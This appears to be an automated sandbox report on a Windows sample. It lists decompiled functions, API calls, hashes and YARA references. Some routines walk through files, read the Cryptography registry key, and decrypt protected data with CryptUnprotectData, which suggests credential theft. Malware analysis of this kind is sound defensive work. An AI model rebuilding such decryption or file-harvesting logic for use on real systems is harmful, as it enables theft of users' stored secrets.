				DeleteFileW(E00403D98( *((intOrPtr*)(_t42 - 0x28)))); // executed
				_pop(_t37);
				 *[fs:eax] = _t37;
				_push(E004115B2);
				E00403BF4(_t42 - 0x54, 5);
				E004034E4(_t42 - 0x40);
				E00403BF4(_t42 - 0x3c, 4);
				E004034E4(_t42 - 0x2c);
				E00403BF4(_t42 - 0x28, 2);
				E004034E4(_t42 - 0x20);
				E00403BF4(_t42 - 0x1c, 2);
				return E00403BDC(_t42 - 4);
			}

0x0041152b
0x00411536
0x00411544
0x0041154b
0x0041154e
0x00411551
0x0041155e
0x00411566
0x00411573
0x0041157b
0x00411588
0x00411590
0x0041159d
0x004115aa

APIs

Part of subcall function 00403C18: SysReAllocStringLen.OLEAUT32(?,00406C70,00000002), ref: 00403C2E

DeleteFileW.KERNEL32(00000000), ref: 00411544

Part of subcall function 00403BF4: SysFreeString.OLEAUT32(?), ref: 00403C07

Part of subcall function 00403BDC: SysFreeString.OLEAUT32(00000000), ref: 00403BEA

Memory Dump Source

Source File: 0000000C.00000002.510992835.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000C.00000002.510986386.0000000000400000.00000002.00020000.sdmp Download File
Associated: 0000000C.00000002.511009597.000000000041B000.00000004.00020000.sdmp Download File

Yara matches

Similarity

API ID: String$Free$AllocDeleteFile
String ID:
API String ID: 2774942583-0
Opcode ID: 66d9ec3313a7241a4e4bf578f4f1ac49ed7bd258f1252bc5b01aad874517a062
Instruction ID: bb1eedd0b624327098e81e5985eebb784eb0e58b55ee62e7723bbec4c0faed14
Opcode Fuzzy Hash: 66d9ec3313a7241a4e4bf578f4f1ac49ed7bd258f1252bc5b01aad874517a062
Instruction Fuzzy Hash: 56F0BF359041089AD700FFA2C4425DDFBBDAF8431AF50407BF514B6696DA3CEB4A5518

Uniqueness

Uniqueness Score: -1.00%

Function 00411217, Relevance: 1.5, APIs: 1, Instructions: 30
fileCOMMON

Download Yara Rule

C-Code - Quality: 70%

			E00411217() {
				intOrPtr _t31;
				void* _t35;

				E0040300C();
				E00403C18( *((intOrPtr*)(_t35 - 8)),  *((intOrPtr*)(_t35 - 0x18)));
				DeleteFileW(E00403D98( *((intOrPtr*)(_t35 - 0x28)))); // executed
				_pop(_t31);
				 *[fs:eax] = _t31;
				_push(E00411289);
				E00403BF4(_t35 - 0x48, 3);
				E004034E4(_t35 - 0x3c);
				E00403BF4(_t35 - 0x38, 6);
				E004034E4(_t35 - 0x20);
				E00403BF4(_t35 - 0x1c, 2);
				return E00403BDC(_t35 - 4);
			}

0x00411217
0x00411222
0x00411230
0x00411237
0x0041123a
0x0041123d
0x0041124a
0x00411252
0x0041125f
0x00411267
0x00411274
0x00411281

APIs

Part of subcall function 00403C18: SysReAllocStringLen.OLEAUT32(?,00406C70,00000002), ref: 00403C2E

DeleteFileW.KERNEL32(00000000), ref: 00411230

Part of subcall function 00403BF4: SysFreeString.OLEAUT32(?), ref: 00403C07

Part of subcall function 00403BDC: SysFreeString.OLEAUT32(00000000), ref: 00403BEA

Memory Dump Source

Source File: 0000000C.00000002.510992835.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000C.00000002.510986386.0000000000400000.00000002.00020000.sdmp Download File
Associated: 0000000C.00000002.511009597.000000000041B000.00000004.00020000.sdmp Download File

Yara matches

Similarity

API ID: String$Free$AllocDeleteFile
String ID:
API String ID: 2774942583-0
Opcode ID: 6c2e005c3fe8d36d13265d65155b63d453877ac7eab9d0259df15499981ca354
Instruction ID: 6ea50b1d27ad810a1ff730a8fea678f64f2da62fb8d8bd0eea1f029c3c8e6870
Opcode Fuzzy Hash: 6c2e005c3fe8d36d13265d65155b63d453877ac7eab9d0259df15499981ca354
Instruction Fuzzy Hash: 37F0BD359041089EDB01FFA2D44259EBBBCAF8431AF90407BF414B2692DA3CEB4A9618

Uniqueness

Uniqueness Score: -1.00%

Function 0040776C, Relevance: 1.5, APIs: 1, Instructions: 29
COMMON

Download Yara Rule

C-Code - Quality: 43%

			E0040776C(char __eax, void* __ebx, void* __ecx) {
				char _v8;
				intOrPtr _t24;
				intOrPtr _t27;

				_v8 = __eax;
				E00404150( &_v8);
				_push(_t27);
				_push(0x4077b8);
				_push( *[fs:eax]);
				 *[fs:eax] = _t27;
				GetFileAttributesW(E00403D98(_v8)); // executed
				_pop(_t24);
				 *[fs:eax] = _t24;
				_push(E004077BF);
				return E00403BDC( &_v8);
			}

0x00407771
0x00407777
0x0040777e
0x0040777f
0x00407784
0x00407787
0x0040779a
0x004077a4
0x004077a7
0x004077aa
0x004077b7

APIs

Part of subcall function 00404150: SysAllocStringLen.OLEAUT32(SOFTWARE\Microsoft\Cryptography,?), ref: 0040415E

GetFileAttributesW.KERNEL32(00000000,00000000,004077B8,?,0041CA58,?,?,004096E8,00000000,00000000,00000000,00409963,?,?,?,00000000), ref: 0040779A

Part of subcall function 00403BDC: SysFreeString.OLEAUT32(00000000), ref: 00403BEA

Memory Dump Source

Source File: 0000000C.00000002.510992835.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000C.00000002.510986386.0000000000400000.00000002.00020000.sdmp Download File
Associated: 0000000C.00000002.511009597.000000000041B000.00000004.00020000.sdmp Download File

Yara matches

Similarity

API ID: String$AllocAttributesFileFree
String ID:
API String ID: 2634384563-0
Opcode ID: 8810337ccaa0ea54d61b76612c76d4f3deadb12b9a49095d69064cceecd31e12
Instruction ID: 455f119eb2bdff77f9424d14ab95cdd3c78d1bf311641bba7c090798075f41e3
Opcode Fuzzy Hash: 8810337ccaa0ea54d61b76612c76d4f3deadb12b9a49095d69064cceecd31e12
Instruction Fuzzy Hash: 3CF0A070504208AFC301EB65CC4289D7BECEB49B103A10577F410E3690E734BF009525

Uniqueness

Uniqueness Score: -1.00%

Function 0040AB7D, Relevance: 1.5, APIs: 1, Instructions: 28
fileCOMMON

Download Yara Rule

C-Code - Quality: 20%

			E0040AB7D(void* __ebx) {
				intOrPtr* _t28;
				void* _t31;
				int _t36;
				intOrPtr* _t38;
				intOrPtr* _t54;
				void* _t60;
				intOrPtr _t71;
				void* _t77;
				intOrPtr _t79;
				void* _t80;
				void* _t81;
				void* _t82;
				intOrPtr _t83;

				_t60 = __ebx;
				E0040300C();
				while(1) {
					_t36 = FindNextFileW( *(_t82 - 0x10), _t82 - 0x260); // executed
					if(_t36 == 0) {
						break;
					}
					_push( *((intOrPtr*)(_t82 - 4)));
					_push(E0040ABF8);
					E00403D6C(_t82 - 0x26c, 0x104, _t82 - 0x234);
					_push( *((intOrPtr*)(_t82 - 0x26c)));
					_push(E0040ABF8);
					_t28 =  *0x41b3d8; // 0x41c918
					_push( *_t28);
					E00403E78();
					_t31 = E0040776C( *((intOrPtr*)(_t82 - 0x268)), _t60, 0x104); // executed
					if(_t31 != 0) {
						_push(_t82);
						_push(0x40ab78);
						_push( *[fs:eax]);
						 *[fs:eax] = _t83;
						_push( *((intOrPtr*)( *((intOrPtr*)(_t82 - 0xc)))));
						_push(_t82 - 0x270);
						E00403D6C(_t82 - 0x274, 0x104, _t82 - 0x234);
						_push( *((intOrPtr*)(_t82 - 0x274)));
						_push( *((intOrPtr*)(_t82 - 4)));
						_push(E0040ABF8);
						E00403D6C(_t82 - 0x27c, 0x104, _t82 - 0x234);
						_push( *((intOrPtr*)(_t82 - 0x27c)));
						_push(E0040ABF8);
						_t54 =  *0x41b3d8; // 0x41c918
						_push( *_t54);
						E00403E78();
						_pop(_t77); // executed
						E0040A6F0( *((intOrPtr*)(_t82 - 0x278)), _t60,  *((intOrPtr*)(_t82 - 8)), _t77, _t80, _t81); // executed
						_push( *((intOrPtr*)(_t82 - 0x270)));
						_push(E0040AC00);
						E00403E78();
						_pop(_t79);
						 *[fs:eax] = _t79;
					}
				}
				_t38 =  *0x41b3ec; // 0x41c6c8
				 *((intOrPtr*)( *_t38))( *(_t82 - 0x10));
				_pop(_t71);
				 *[fs:eax] = _t71;
				_push(E0040ABDD);
				E00403BF4(_t82 - 0x27c, 7);
				return E00403BF4(_t82 - 8, 2);
			}

0x0040ab7d
0x0040ab7d
0x0040ab82
0x0040ab94
0x0040ab98
0x00000000
0x00000000
0x0040aa7d
0x0040aa80
0x0040aa96
0x0040aa9b
0x0040aaa1
0x0040aaa6
0x0040aaab
0x0040aab8
0x0040aac3
0x0040aaca
0x0040aad2
0x0040aad3
0x0040aad8
0x0040aadb
0x0040aae1
0x0040aae9
0x0040aafb
0x0040ab06
0x0040ab07
0x0040ab0a
0x0040ab20
0x0040ab25
0x0040ab2b
0x0040ab30
0x0040ab35
0x0040ab42
0x0040ab50
0x0040ab51
0x0040ab56
0x0040ab5c
0x0040ab69
0x0040ab70
0x0040ab73
0x0040ab73
0x0040aaca
0x0040aba2
0x0040aba9
0x0040abad
0x0040abb0
0x0040abb3
0x0040abc3
0x0040abd5

APIs

FindNextFileW.KERNELBASE(00000000,?,0041C918,0040ABF8,?,0040ABF8,0041A212,?,00000000,?,00000000,?,0040AC55,00000000,0040B121), ref: 0040AB94

Memory Dump Source

Source File: 0000000C.00000002.510992835.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000C.00000002.510986386.0000000000400000.00000002.00020000.sdmp Download File
Associated: 0000000C.00000002.511009597.000000000041B000.00000004.00020000.sdmp Download File

Yara matches

Similarity

API ID: FileFindNext
String ID:
API String ID: 2029273394-0
Opcode ID: 314a58242de21868dbfba20fb86a3b1c6f9d366528f90e512f1aaa0ef659b908
Instruction ID: 8aa335468038fc7f48054eee08d9cb9e59dc8254e83ebeee364cfc6a2b52221f
Opcode Fuzzy Hash: 314a58242de21868dbfba20fb86a3b1c6f9d366528f90e512f1aaa0ef659b908
Instruction Fuzzy Hash: 0BF0AC356041199FD700DBA9DC91AAEB7FCEB88314F5040BBB918E3291DB38EA058B19

Uniqueness

Uniqueness Score: -1.00%

Function 00403BF4, Relevance: 1.5, APIs: 1, Instructions: 16
COMMON

Download Yara Rule

C-Code - Quality: 88%

			E00403BF4(intOrPtr* __eax, void* __edx) {
				intOrPtr _t2;
				intOrPtr* _t3;
				void* _t5;

				_t3 = __eax;
				_t5 = __edx;
				do {
					_t2 =  *_t3;
					if(_t2 != 0) {
						 *_t3 = 0;
						_push(_t2); // executed
						L00401158(); // executed
					}
					_t3 = _t3 + 4;
					_t5 = _t5 - 1;
				} while (_t5 != 0);
				return _t2;
			}

0x00403bf6
0x00403bf8
0x00403bfa
0x00403bfa
0x00403bfe
0x00403c00
0x00403c06
0x00403c07
0x00403c07
0x00403c0c
0x00403c0f
0x00403c0f
0x00403c14

APIs

SysFreeString.OLEAUT32(?), ref: 00403C07

Memory Dump Source

Source File: 0000000C.00000002.510992835.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000C.00000002.510986386.0000000000400000.00000002.00020000.sdmp Download File
Associated: 0000000C.00000002.511009597.000000000041B000.00000004.00020000.sdmp Download File

Yara matches

Similarity

API ID: FreeString
String ID:
API String ID: 3341692771-0
Opcode ID: 666d4a7f243ceda8b82161072e5686ca28aa1a8e142f5acf4f48046508e80ba4
Instruction ID: cdd5f4ee5c8407d12f9f5f2ec6126983fe571eb6c910ebd830156e573ed208a8
Opcode Fuzzy Hash: 666d4a7f243ceda8b82161072e5686ca28aa1a8e142f5acf4f48046508e80ba4
Instruction Fuzzy Hash: 74C012B26102209BFF259A599CC0B5277DC9B49355B1400B2E509FB391E678DD004658

Uniqueness

Uniqueness Score: -1.00%

Function 00403BB4, Relevance: 1.5, APIs: 1, Instructions: 10
memoryCOMMON

Download Yara Rule

C-Code - Quality: 46%

			E00403BB4(signed int __eax) {
				signed int _t2;
				signed char _t12;
				void* _t14;
				void* _t18;

				_t2 = __eax;
				if(__eax == 0) {
					L11:
					return _t2;
				} else {
					_push(__eax);
					_push(0); // executed
					L00401148(); // executed
					if(__eax == 0) {
						__eax = __eax & 0x0000007f;
						__edx =  *__esp;
						_t18 = _t14;
						_t12 = _t2 & 0x0000007f;
						if( *0x41c008 != 0) {
							 *0x41c008();
						}
						if(_t12 != 0) {
							if(_t12 <= 0x18) {
								_t1 = _t12 + 0x41b03c; // 0xd7c9c8cc
								_t12 =  *_t1;
							}
						} else {
							_t12 =  *0x41c624; // 0x0
						}
						return E004025C0(_t18);
					} else {
						goto L11;
					}
				}
			}

0x00403bb4
0x00403bb6
0x00403bc8
0x00403bc8
0x00403bb8
0x00403bb8
0x00403bb9
0x00403bbb
0x00403bc2
0x00402614
0x00402617
0x004025ce
0x004025d2
0x004025dc
0x004025e2
0x004025e2
0x004025ea
0x004025f7
0x004025fd
0x004025fd
0x004025fd
0x004025ec
0x004025ec
0x004025ec
0x00402610
0x00000000
0x00000000
0x00000000
0x00403bc2

APIs

SysAllocStringLen.OLEAUT32(00000000,00000000), ref: 00403BBB

Memory Dump Source

Source File: 0000000C.00000002.510992835.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000C.00000002.510986386.0000000000400000.00000002.00020000.sdmp Download File
Associated: 0000000C.00000002.511009597.000000000041B000.00000004.00020000.sdmp Download File

Yara matches

Similarity

API ID: AllocString
String ID:
API String ID: 2525500382-0
Opcode ID: 43d24c467a1f6a33114a26918379912b0151123812a0064c28714b8e8bf8cd23
Instruction ID: cc320876a9625d104608ea07d28c2a31881d354d5da6284e066d4471a5eebec8
Opcode Fuzzy Hash: 43d24c467a1f6a33114a26918379912b0151123812a0064c28714b8e8bf8cd23
Instruction Fuzzy Hash: 9AB0922425860120EA6418620A01B33185C0B60B4BF880037AD20F41C2D96DE901503A

Uniqueness

Uniqueness Score: -1.00%

Function 00403BCC, Relevance: 1.5, APIs: 1, Instructions: 6
COMMON

Download Yara Rule

C-Code - Quality: 82%

			E00403BCC(intOrPtr* __eax, intOrPtr __edx) {
				intOrPtr _t4;

				_t4 =  *__eax;
				 *__eax = __edx;
				if(_t4 != 0) {
					_push(_t4); // executed
					L00401158(); // executed
					return __eax;
				}
				return __eax;
			}

0x00403bcc
0x00403bcc
0x00403bd0
0x00403bd2
0x00403bd3
0x00000000
0x00403bd3
0x00403bd8

APIs

SysFreeString.OLEAUT32(00000000), ref: 00403BD3

Memory Dump Source

Source File: 0000000C.00000002.510992835.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000C.00000002.510986386.0000000000400000.00000002.00020000.sdmp Download File
Associated: 0000000C.00000002.511009597.000000000041B000.00000004.00020000.sdmp Download File

Yara matches

Similarity

API ID: FreeString
String ID:
API String ID: 3341692771-0
Opcode ID: 4922c5fd9d3a0b2b3f5f47c82899ed0dbd9246eb6c6f0e0d0d4e4ac0480ba6a2
Instruction ID: b74080e8723bd2c965acb067c4bb7b075115b3c8c25a1433ae70b86ac4b73cdf
Opcode Fuzzy Hash: 4922c5fd9d3a0b2b3f5f47c82899ed0dbd9246eb6c6f0e0d0d4e4ac0480ba6a2
Instruction Fuzzy Hash: 0BA0247C10030354CF0F351F000041331353FD03073C4C47D51003D1515D3F54004114

Uniqueness

Uniqueness Score: -1.00%

Function 00401464, Relevance: 1.3, APIs: 1, Instructions: 62
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E00401464(void* __eax, intOrPtr* __ecx, intOrPtr __edx) {
				intOrPtr _v20;
				intOrPtr _v24;
				void* _v28;
				intOrPtr* _v32;
				intOrPtr* _t24;
				intOrPtr _t27;
				intOrPtr _t31;
				int _t32;
				intOrPtr* _t35;
				intOrPtr* _t42;
				void* _t43;
				void* _t44;
				intOrPtr* _t45;

				_t45 =  &_v20;
				_v32 = __ecx;
				 *_t45 = __edx;
				_v28 = 0xffffffff;
				_v24 = 0;
				_t44 = __eax;
				_v20 =  *_t45 + __eax;
				_t35 =  *0x41c5d4; // 0x6e6ff4
				while(_t35 != 0x41c5d4) {
					_t42 =  *_t35;
					_t43 =  *(_t35 + 8);
					if(_t44 <= _t43 && _t43 +  *((intOrPtr*)(_t35 + 0xc)) <= _v20) {
						if(_t43 < _v28) {
							_v28 = _t43;
						}
						_t31 = _t43 +  *((intOrPtr*)(_t35 + 0xc));
						if(_t31 > _v24) {
							_v24 = _t31;
						}
						_t32 = VirtualFree(_t43, 0, 0x8000); // executed
						if(_t32 == 0) {
							 *0x41c5b0 = 1;
						}
						E0040126C(_t35);
					}
					_t35 = _t42;
				}
				_t24 = _v32;
				 *_t24 = 0;
				if(_v24 != 0) {
					 *_v32 = _v28;
					_t27 = _v24 - _v28;
					 *((intOrPtr*)(_v32 + 4)) = _t27;
					return _t27;
				}
				return _t24;
			}

0x00401468
0x0040146b
0x0040146f
0x00401472
0x0040147c
0x00401480
0x00401487
0x0040148b
0x004014e4
0x00401493
0x00401495
0x0040149a
0x004014ab
0x004014ad
0x004014ad
0x004014b3
0x004014ba
0x004014bc
0x004014bc
0x004014c8
0x004014cf
0x004014d1
0x004014d1
0x004014dd
0x004014dd
0x004014e2
0x004014e2
0x004014ec
0x004014f2
0x004014f9
0x00401503
0x00401509
0x00401511
0x00000000
0x00401511
0x0040151b

APIs

VirtualFree.KERNEL32(FFFFFFFF,00000000,00008000), ref: 004014C8

Memory Dump Source

Source File: 0000000C.00000002.510992835.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000C.00000002.510986386.0000000000400000.00000002.00020000.sdmp Download File
Associated: 0000000C.00000002.511009597.000000000041B000.00000004.00020000.sdmp Download File

Yara matches

Similarity

API ID: FreeVirtual
String ID:
API String ID: 1263568516-0
Opcode ID: 082e02aa12ac78ac6e3073087da7db4d11bbb761b7acc54f953cf98784b6f688
Instruction ID: bdb72b2e4f8392e9a4367bae485781504843fed35f2e07c9585e1bdde9d69fdb
Opcode Fuzzy Hash: 082e02aa12ac78ac6e3073087da7db4d11bbb761b7acc54f953cf98784b6f688
Instruction Fuzzy Hash: 2621F770608710AFC710DF19C8C0A5BBBE5EF85760F14C96AE4989B3A5D378EC41CB9A

Uniqueness

Uniqueness Score: -1.00%

Function 0040151C, Relevance: 1.3, APIs: 1, Instructions: 54
memoryCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E0040151C(signed int __eax, void** __ecx, intOrPtr __edx) {
				signed int _v20;
				void** _v24;
				void* _t15;
				void** _t16;
				void* _t17;
				signed int _t27;
				intOrPtr* _t29;
				void* _t31;
				intOrPtr* _t32;

				_v24 = __ecx;
				 *_t32 = __edx;
				_t31 = __eax & 0xfffff000;
				_v20 = __eax +  *_t32 + 0x00000fff & 0xfffff000;
				 *_v24 = _t31;
				_t15 = _v20 - _t31;
				_v24[1] = _t15;
				_t29 =  *0x41c5d4; // 0x6e6ff4
				while(_t29 != 0x41c5d4) {
					_t17 =  *(_t29 + 8);
					_t27 =  *((intOrPtr*)(_t29 + 0xc)) + _t17;
					if(_t31 > _t17) {
						_t17 = _t31;
					}
					if(_t27 > _v20) {
						_t27 = _v20;
					}
					if(_t27 > _t17) {
						_t15 = VirtualAlloc(_t17, _t27 - _t17, 0x1000, 4); // executed
						if(_t15 == 0) {
							_t16 = _v24;
							 *_t16 = 0;
							return _t16;
						}
					}
					_t29 =  *_t29;
				}
				return _t15;
			}

0x00401523
0x00401527
0x0040152e
0x00401543
0x0040154b
0x00401551
0x00401557
0x0040155a
0x0040159e
0x00401562
0x00401568
0x0040156c
0x0040156e
0x0040156e
0x00401574
0x00401576
0x00401576
0x0040157c
0x00401589
0x00401590
0x00401592
0x00401598
0x00000000
0x00401598
0x00401590
0x0040159c
0x0040159c
0x004015ad

APIs

VirtualAlloc.KERNEL32(?,?,00001000,00000004), ref: 00401589

Memory Dump Source

Source File: 0000000C.00000002.510992835.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000C.00000002.510986386.0000000000400000.00000002.00020000.sdmp Download File
Associated: 0000000C.00000002.511009597.000000000041B000.00000004.00020000.sdmp Download File

Yara matches

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: 87944e6d7ec2424c7827a654054cf40cbadd8ec593a4801b2f8f16170b9bc70d
Instruction ID: d2e5847c23a0d0fb2b7a3dff60909d67c0489ed435542f313e0fa7b23e2e95f5
Opcode Fuzzy Hash: 87944e6d7ec2424c7827a654054cf40cbadd8ec593a4801b2f8f16170b9bc70d
Instruction Fuzzy Hash: 67115E72A44701AFC3109E29CC80A6BBBE2EBC4750F15C539E5996B3A5D734AC408B89

Uniqueness

Uniqueness Score: -1.00%

Function 004015B0, Relevance: 1.3, APIs: 1, Instructions: 48
COMMON

Download Yara Rule

C-Code - Quality: 93%

			E004015B0(void* __eax, void** __ecx, void* __edx) {
				int _t7;
				void* _t9;
				signed int _t14;
				intOrPtr* _t19;
				signed int _t22;
				void** _t23;

				_push(__ecx);
				 *_t23 = __eax + 0x00000fff & 0xfffff000;
				_t22 = __eax + __edx & 0xfffff000;
				 *__ecx =  *_t23;
				_t7 = _t22 -  *_t23;
				__ecx[1] = _t7;
				_t19 =  *0x41c5d4; // 0x6e6ff4
				while(_t19 != 0x41c5d4) {
					_t9 =  *(_t19 + 8);
					_t14 =  *((intOrPtr*)(_t19 + 0xc)) + _t9;
					if(_t9 <  *_t23) {
						_t9 =  *_t23;
					}
					if(_t22 < _t14) {
						_t14 = _t22;
					}
					if(_t14 > _t9) {
						_t7 = VirtualFree(_t9, _t14 - _t9, 0x4000); // executed
						if(_t7 == 0) {
							 *0x41c5b0 = 2;
						}
					}
					_t19 =  *_t19;
				}
				return _t7;
			}

0x004015b4
0x004015c5
0x004015cc
0x004015d5
0x004015d9
0x004015dc
0x004015df
0x0040161f
0x004015e7
0x004015ed
0x004015f2
0x004015f4
0x004015f4
0x004015f9
0x004015fb
0x004015fb
0x004015ff
0x0040160a
0x00401611
0x00401613
0x00401613
0x00401611
0x0040161d
0x0040161d
0x0040162c

APIs

VirtualFree.KERNEL32(?,?,00004000,?,0000000C,?,-00000008,00003FFB,00401817), ref: 0040160A

Memory Dump Source

Source File: 0000000C.00000002.510992835.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000C.00000002.510986386.0000000000400000.00000002.00020000.sdmp Download File
Associated: 0000000C.00000002.511009597.000000000041B000.00000004.00020000.sdmp Download File

Yara matches

Similarity

API ID: FreeVirtual
String ID:
API String ID: 1263568516-0
Opcode ID: 3bfc56920760e5136ff02f6c94c05418cc55e2be2e85163925a7dedac6e01034
Instruction ID: 104411973d7795ae4b76250d277c099600c8cf09cd5a8da0f47b470ca133b76a
Opcode Fuzzy Hash: 3bfc56920760e5136ff02f6c94c05418cc55e2be2e85163925a7dedac6e01034
Instruction Fuzzy Hash: 82012B726443105FC3109F28DDC0E6A77E5DBC5324F19493EDA85AB391D33B6C0187A8

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 00404C71, Relevance: 9.0, APIs: 6, Instructions: 41
threadCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E00404C71(void* __eax, void* __ebx, void* __ecx, intOrPtr* __edi) {
				long _t11;
				void* _t16;

				_t16 = __ebx;
				 *__edi =  *__edi + __ecx;
				 *((intOrPtr*)(__eax - 0x41c5a4)) =  *((intOrPtr*)(__eax - 0x41c5a4)) + __eax - 0x41c5a4;
				 *0x41b00c = 2;
				 *0x41c010 = 0x4010b8;
				 *0x41c014 = 0x4010c0;
				 *0x41c036 = 2;
				 *0x41c000 = E004045C4;
				if(E00402A94() != 0) {
					_t3 = E00402AC4();
				}
				E00402B88(_t3);
				 *0x41c03c = 0xd7b0;
				 *0x41c208 = 0xd7b0;
				 *0x41c3d4 = 0xd7b0;
				 *0x41c02c = GetCommandLineA();
				 *0x41c028 = E00401180();
				if((GetVersion() & 0x80000000) == 0x80000000) {
					 *0x41c5a8 = E00404BA8(GetThreadLocale(), _t16, __eflags);
				} else {
					if((GetVersion() & 0x000000ff) <= 4) {
						 *0x41c5a8 = E00404BA8(GetThreadLocale(), _t16, __eflags);
					} else {
						 *0x41c5a8 = 3;
					}
				}
				_t11 = GetCurrentThreadId();
				 *0x41c020 = _t11;
				return _t11;
			}

0x00404c71
0x00404c76
0x00404c7b
0x00404c7d
0x00404c84
0x00404c8e
0x00404c98
0x00404c9f
0x00404cb0
0x00404cb2
0x00404cb2
0x00404cb7
0x00404cbc
0x00404cc5
0x00404cce
0x00404cdc
0x00404ce6
0x00404cfa
0x00404d33
0x00404cfc
0x00404d0a
0x00404d22
0x00404d0c
0x00404d0c
0x00404d0c
0x00404d0a
0x00404d38
0x00404d3d
0x00404d42

APIs

Part of subcall function 00402A94: GetKeyboardType.USER32(00000000), ref: 00402A99
Part of subcall function 00402A94: GetKeyboardType.USER32(00000001), ref: 00402AA5

GetCommandLineA.KERNEL32 ref: 00404CD7
GetVersion.KERNEL32 ref: 00404CEB
GetVersion.KERNEL32 ref: 00404CFC
GetCurrentThreadId.KERNEL32 ref: 00404D38

Part of subcall function 00402AC4: RegOpenKeyExA.ADVAPI32(80000002,SOFTWARE\Borland\Delphi\RTL,00000000,00000001,?), ref: 00402AE6
Part of subcall function 00402AC4: RegQueryValueExA.ADVAPI32(?,FPUMaskValue,00000000,00000000,?,00000004,00000000,00402B35,?,80000002,SOFTWARE\Borland\Delphi\RTL,00000000,00000001,?), ref: 00402B19
Part of subcall function 00402AC4: RegCloseKey.ADVAPI32(?,00402B3C,00000000,?,00000004,00000000,00402B35,?,80000002,SOFTWARE\Borland\Delphi\RTL,00000000,00000001,?), ref: 00402B2F

GetThreadLocale.KERNEL32 ref: 00404D18

Part of subcall function 00404BA8: GetLocaleInfoA.KERNEL32(?,00001004,?,00000007,00000000,00404C0E), ref: 00404BCE

Memory Dump Source

Source File: 0000000C.00000002.510992835.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000C.00000002.510986386.0000000000400000.00000002.00020000.sdmp Download File
Associated: 0000000C.00000002.511009597.000000000041B000.00000004.00020000.sdmp Download File

Yara matches

Similarity

API ID: KeyboardLocaleThreadTypeVersion$CloseCommandCurrentInfoLineOpenQueryValue
String ID:
API String ID: 3734044017-0
Opcode ID: c16a9bae5052d1d5fcf6e5d105fd87e92066834fdc2b316fa926a4ee5fff1b39
Instruction ID: 1721a3a9195e16165242481212ff4b6f39af3106f899a404dc8ffc4097ba6689
Opcode Fuzzy Hash: c16a9bae5052d1d5fcf6e5d105fd87e92066834fdc2b316fa926a4ee5fff1b39
Instruction Fuzzy Hash: 210152F0881341D9D310BFB29C863893EA0AF89348F51C53FA2407A2F2D77D40448BAE

Uniqueness

Uniqueness Score: -1.00%

Function 00414DD0, Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 44
COMMON

Download Yara Rule

C-Code - Quality: 68%

			E00414DD0(intOrPtr* _a4, intOrPtr* _a8) {
				intOrPtr _v8;
				intOrPtr _v16;
				intOrPtr _v20;
				intOrPtr _v24;
				intOrPtr _v28;
				intOrPtr _v36;
				char _v40;
				void* _t27;
				void* _t35;
				void* _t37;
				intOrPtr _t39;

				 *[fs:0x0] = _t39;
				L00401400();
				_v28 = _t39;
				_v24 = 0x4012a0;
				_v20 = 0;
				_v16 = 0;
				 *((intOrPtr*)( *_a4 + 4))(_a4, _t35, _t37, _t27,  *[fs:0x0], 0x401406);
				_v8 = 1;
				_v8 = 2;
				__imp____vbaOnError(0xffffffff);
				_v8 = 3;
				_v40 = 0x28537b;
				 *((intOrPtr*)( *_a4 + 8))(_a4);
				_t16 =  &_v40; // 0x28537b
				 *_a8 =  *_t16;
				 *[fs:0x0] = _v36;
				return _v20;
			}

0x00414de2
0x00414dee
0x00414df6
0x00414df9
0x00414e00
0x00414e07
0x00414e17
0x00414e1a
0x00414e21
0x00414e2a
0x00414e30
0x00414e37
0x00414e47
0x00414e4d
0x00414e50
0x00414e58
0x00414e65

APIs

__vbaChkstk.MSVBVM60(?,00401406), ref: 00414DEE
__vbaOnError.MSVBVM60(000000FF,?,?,?,?,00401406), ref: 00414E2A

Strings

{S(, xrefs: 00414E4D

Memory Dump Source

Source File: 0000000C.00000001.382378226.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Similarity

API ID: __vba$ChkstkError
String ID: {S(
API String ID: 3554142864-63371470
Opcode ID: 6e24350545742d3fc062487c412ab38978c71a7b2932f9f23623076bc5052a54
Instruction ID: f60ab2c8b616a088ab9c2640cbb6a619dbce2cf47c2cac77718e833ee441c707
Opcode Fuzzy Hash: 6e24350545742d3fc062487c412ab38978c71a7b2932f9f23623076bc5052a54
Instruction Fuzzy Hash: A3111B79A00608EFCB00DF88C985B9EBBB4FB48754F108159F915AB391C779AE05CFA4

Uniqueness

Uniqueness Score: -1.00%

Function 0040A610, Relevance: 3.0, APIs: 2, Instructions: 33
encryptionCOMMON

Download Yara Rule

C-Code - Quality: 16%

			E0040A610(intOrPtr __eax, void* __ecx, char __edx) {
				char _v12;
				intOrPtr _v16;
				char _v20;
				void* _v36;
				intOrPtr _v40;

				_t19 = __ecx;
				_v20 = __edx;
				_v16 = __eax;
				_push( &_v12);
				_push(1);
				_push(0);
				_push(0);
				_push(0);
				_push(0);
				_push( &_v20);
				if( *0x41ca64() == 0) {
					return E00403538(__ecx, E0040A678);
				}
				E004036DC(__ecx, _v36);
				E00403B1C(_t19, _v40);
				return LocalFree(_v36);
			}

0x0040a614
0x0040a616
0x0040a619
0x0040a621
0x0040a622
0x0040a624
0x0040a626
0x0040a628
0x0040a62a
0x0040a630
0x0040a639
0x00000000
0x0040a664
0x0040a641
0x0040a64c
0x00000000

APIs

CryptUnprotectData.CRYPT32(00000000,00000000,00000000,00000000,00000000,00000001,?), ref: 0040A631
LocalFree.KERNEL32(?), ref: 0040A656

